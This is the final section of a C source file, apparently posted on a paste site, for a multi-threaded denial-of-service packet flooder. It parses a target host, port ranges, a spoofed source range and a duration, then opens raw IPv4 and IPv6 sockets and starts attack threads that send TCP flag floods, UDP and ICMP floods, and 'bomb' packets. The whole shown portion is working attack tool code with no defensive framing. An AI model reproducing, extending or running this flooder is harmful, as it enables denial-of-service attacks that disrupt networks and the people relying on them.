  737. thread_data_array[0].a_flags |= RAW_BMB;
  738. thread_data_array[RAW_BMB].a_flags |= RAW_BMB;
  739. thread_data_array[RAW_BMB].bombsize = bombsize;
  740. break;
  741. }
  742. break;
  743. case 'I':
  744. thread_data_array[ICMP_ECHO_G].initialized = 1;
  745. thread_data_array[0].a_flags |= ICMP_ECHO_G;
  746. thread_data_array[ICMP_ECHO_G].a_flags |= ICMP_ECHO_G;
  747. break;
  748. case 'U':
  749. thread_data_array[UDP_CFF].initialized = 1;
  750. thread_data_array[0].a_flags |= UDP_CFF;
  751. thread_data_array[UDP_CFF].a_flags |= UDP_CFF;
  752. break;
  753. case 'h':
  754. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  755. DestAddress4.sin_family = AF_INET;
  756. inet_pton(AF_INET, optarg, &DestAddress4.sin_addr);
  757. thread_data_array[0].dstaddr = lookup(optarg);
  758. thread_data_array[0].destination4 = DestAddress4;
  759. }
  760. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  761. DestAddress6.sin6_family = AF_INET6;
  762. inet_pton(AF_INET6, optarg, &DestAddress6.sin6_addr);
  763. thread_data_array[0].destination6 = DestAddress6;
  764. } else {
  765. printf("-4 and -6 can not both be specified.\n\n");
  766. usage(argv[0]);
  767. }
  768. break;
  769. case 'd':
  770. thread_data_array[0].dst_class = optarg;
  771. break;
  772. case 's':
  773. thread_data_array[0].src_class = optarg;
  774. break;
  775. case 'p':
  776. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  777. usage(argv[0]);
  778. thread_data_array[0].d_lport = atoi(optarg); /* Destination start port */
  779. thread_data_array[0].d_hport = atoi(p + 1); /* Destination end port */
  780. break;
  781. case 'q':
  782. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  783. usage(argv[0]);
  784. thread_data_array[0].s_lport = atoi(optarg); /* Source start port */
  785. thread_data_array[0].s_hport = atoi(p + 1); /* Source end port */
  786. break;
  787. case 't':
  788. thread_data_array[0].timeout = atoi(optarg);
  789. break;
  790. case 'w':
  791. window_size = atoi(optarg);
  792. if(window_size > 65535)
  793. window_size = 65535;
  794. thread_data_array[0].window_size = window_size;
  795. break;
  796. default:
  797. usage(argv[0]);
  798. break;
  799. }
  800. }
  801. if (!thread_data_array[0].timeout) {
  802. usage(argv[0]);
  803. }
  804. if (!thread_data_array[0].src_class) {
  805. if(thread_data_array[0].flag6 == 1) {
  806. static char ipstring[3];
  807. strcat(ipstring, "470:");
  808. thread_data_array[0].src_class = class2ip6(ipstring);
  809. }
  810. }
  811. if ( (!thread_data_array[0].flag4 && !thread_data_array[0].flag6) || (!thread_data_array[0].a_flags) ||
  812. (!thread_data_array[0].timeout)) {
  813. usage(argv[0]);
  814. }
  815. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  816. int i;
  817. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  818. if ( thread_data_array[i].initialized == 1 ) {
  819. if ( thread_data_array[i].a_flags <= TCP_FRG || thread_data_array[i].a_flags == RAW_BMB ||
  820. thread_data_array[i].a_flags == ICMP_ECHO_G) {
  821. if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  822. perror("socket");
  823. exit(-1);
  824. }
  825. } else if(thread_data_array[i].a_flags == TCP_BMB) {
  826. if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
  827. perror("socket");
  828. exit(-1);
  829. }
  830. } else if (thread_data_array[i].a_flags == UDP_BMB || thread_data_array[i].a_flags == UDP_CFF) {
  831. if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {
  832. perror("socket");
  833. exit(-1);
  834. }
  835. }
  836. if (thread_data_array[i].a_flags != UDP_BMB) {
  837. if (setsockopt(thread_data_array[i].socket, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
  838. perror("setsockopt");
  839. exit(-1);
  840. }
  841. }
  842. }
  843. }
  844. printf("[IPv4] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n", thread_data_array[0].dst_class !=
  845. NULL ? thread_data_array[0].dst_class
  846. :inet_ntop(AF_INET,&thread_data_array[0].destination4.sin_addr,thread_data_array[0].DestIP4,
  847. sizeof(thread_data_array[0].DestIP4)),thread_data_array[0].src_class != NULL ? thread_data_array[0].src_class
  848. :"random",thread_data_array[0].a_flags, thread_data_array[0].timeout);
  849. printf("[FLAGS] (%d)\n\n", thread_data_array[0].a_flags);
  850. } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  851. int i;
  852. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  853. if ( thread_data_array[i].initialized== 1 ) {
  854. if (thread_data_array[i].a_flags <= TCP_BMB || thread_data_array[i].a_flags == RAW_BMB) {
  855. if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_TCP)) < 0) {
  856. perror("socket");
  857. exit(-1);
  858. }
  859. } else if (thread_data_array[i].a_flags == UDP_BMB || thread_data_array[i].a_flags == UDP_CFF) {
  860. if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_UDP)) < 0) {
  861. perror("socket");
  862. exit(-1);
  863. }
  864. }
  865. else if (thread_data_array[i].a_flags == ICMP_ECHO_G) {
  866. if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)) < 0) {
  867. perror("socket");
  868. exit(-1);
  869. }
  870. }
  871. if (thread_data_array[i].a_flags != UDP_BMB) {
  872. if (setsockopt(thread_data_array[i].socket, IPPROTO_IPV6, IPV6_TCLASS, (char *)&on, sizeof(on)) < 0) {
  873. perror("setsockopt");
  874. exit(-1);
  875. }
  876. }
  877. }
  878. }
  879. printf("[IPv6] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n", thread_data_array[0].dst_class !=
  880. NULL ? thread_data_array[0].dst_class :
  881. inet_ntop(AF_INET6,&thread_data_array[0].destination6.sin6_addr,thread_data_array[0].DestIP6,
  882. sizeof(thread_data_array[0].DestIP6)),thread_data_array[0].src_class,thread_data_array[0].a_flags,thread_data_array[0].timeout);
  883. printf("[FLAGS] (%d)\n\n", thread_data_array[0].a_flags);
  884. }
  885. signal (SIGINT, handle_exit);
  886. signal (SIGTERM, handle_exit);
  887. signal (SIGQUIT, handle_exit);
  888. thread_data_array[0].start = time(NULL);
  889. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  890. if (thread_data_array[i].a_flags == TCP_FIN) {
  891. thread_data_array[i].thread = i;
  892. thread_data_array[i].packets = 0;
  893. thread_data_array[i].th_flags = TH_FIN;
  894. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  895. printf("+ Thread error:\n");
  896. perror("- pthread_create()\n");
  897. }
  898. }
  899. if (thread_data_array[i].a_flags == TCP_SYN) {
  900. thread_data_array[i].thread = i;
  901. thread_data_array[i].packets = 0;
  902. thread_data_array[i].th_flags = TH_SYN;
  903. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  904. printf("+ Thread error:\n");
  905. perror("- pthread_create()\n");
  906. }
  907. }
  908. if (thread_data_array[i].a_flags == TCP_RST) {
  909. thread_data_array[i].thread = i;
  910. thread_data_array[i].packets = 0;
  911. thread_data_array[i].th_flags = TH_RST;
  912. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  913. printf("+ Thread error:\n");
  914. perror("- pthread_create()\n");
  915. }
  916. }
  917. if (thread_data_array[i].a_flags == TCP_PSH) {
  918. thread_data_array[i].thread = i;
  919. thread_data_array[i].packets = 0;
  920. thread_data_array[i].th_flags = TH_PUSH;
  921. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  922. printf("+ Thread error:\n");
  923. perror("- pthread_create()\n");
  924. }
  925. }
  926. if (thread_data_array[i].a_flags == TCP_ACK) {
  927. thread_data_array[i].thread = i;
  928. thread_data_array[i].packets = 0;
  929. thread_data_array[i].th_flags = TH_ACK;
  930. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  931. printf("+ Thread error:\n");
  932. perror("- pthread_create()\n");
  933. }
  934. }
  935. if (thread_data_array[i].a_flags == TCP_URG) {
  936. thread_data_array[i].thread = i;
  937. thread_data_array[i].packets = 0;
  938. thread_data_array[i].th_flags = TH_URG;
  939. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  940. printf("+ Thread error:\n");
  941. perror("- pthread_create()\n");
  942. }
  943. }
  944. if (thread_data_array[i].a_flags == TCP_ECE) {
  945. thread_data_array[i].thread = i;
  946. thread_data_array[i].packets = 0;
  947. thread_data_array[i].th_flags = TH_ACK;
  948. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  949. printf("+ Thread error:\n");
  950. perror("- pthread_create()\n");
  951. }
  952. }
  953. if (thread_data_array[i].a_flags == TCP_CWR) {
  954. thread_data_array[i].thread = i;
  955. thread_data_array[i].packets = 0;
  956. thread_data_array[i].th_flags = TH_ACK;
  957. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  958. printf("+ Thread error:\n");
  959. perror("- pthread_create()\n");
  960. }
  961. }
  962. if (thread_data_array[i].a_flags == TCP_NOF) {
  963. thread_data_array[i].thread = i;
  964. thread_data_array[i].packets = 0;
  965. thread_data_array[i].th_flags = TH_NOF;
  966. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  967. printf("+ Thread error:\n");
  968. perror("- pthread_create()\n");
  969. }
  970. }
  971. if (thread_data_array[i].a_flags == TCP_FRG) {
  972. thread_data_array[i].thread = i;
  973. thread_data_array[i].packets = 0;
  974. thread_data_array[i].th_flags = TH_NOF;
  975. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  976. printf("+ Thread error:\n");
  977. perror("- pthread_create()\n");
  978. }
  979. }
  980. if (thread_data_array[i].a_flags == TCP_BMB) {
  981. thread_data_array[i].thread = i;
  982. thread_data_array[i].packets = 0;
  983. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  984. printf("+ Thread error:\n");
  985. perror("- pthread_create()\n");
  986. }
  987. }
  988. if (thread_data_array[i].a_flags == UDP_BMB) {
  989. thread_data_array[i].thread = i;
  990. thread_data_array[i].packets = 0;
  991. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  992. printf("+ Thread error:\n");
  993. perror("- pthread_create()\n");
  994. }
  995. }
  996. if (thread_data_array[i].a_flags == RAW_BMB) {
  997. thread_data_array[i].thread = i;
  998. thread_data_array[i].packets = 0;
  999. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  1000. printf("+ Thread error:\n");
  1001. perror("- pthread_create()\n");
  1002. }
  1003. }
  1004. if (thread_data_array[i].a_flags == UDP_CFF) {
  1005. thread_data_array[i].thread = i;
  1006. thread_data_array[i].packets = 0;
  1007. if(pthread_create(&attack_thread[i], NULL, &send_udp, (void *)&thread_data_array[i]) != 0) {
  1008. printf("+ Thread error:\n");
  1009. perror("- pthread_create()\n");
  1010. }
  1011. }
  1012. if (thread_data_array[i].a_flags == ICMP_ECHO_G) {
  1013. thread_data_array[i].thread = i;
  1014. thread_data_array[i].packets = 0;
  1015. if(pthread_create(&attack_thread[i], NULL, &send_icmp, (void *)&thread_data_array[i]) != 0) {
  1016. printf("+ Thread error:\n");
  1017. perror("- pthread_create()\n");
  1018. }
  1019. }
  1020. }
  1021. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2){
  1022. if(attack_thread[i] != 0)
  1023. pthread_join(attack_thread[i], NULL);
  1024. }
  1025. exit(0);
  1026. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement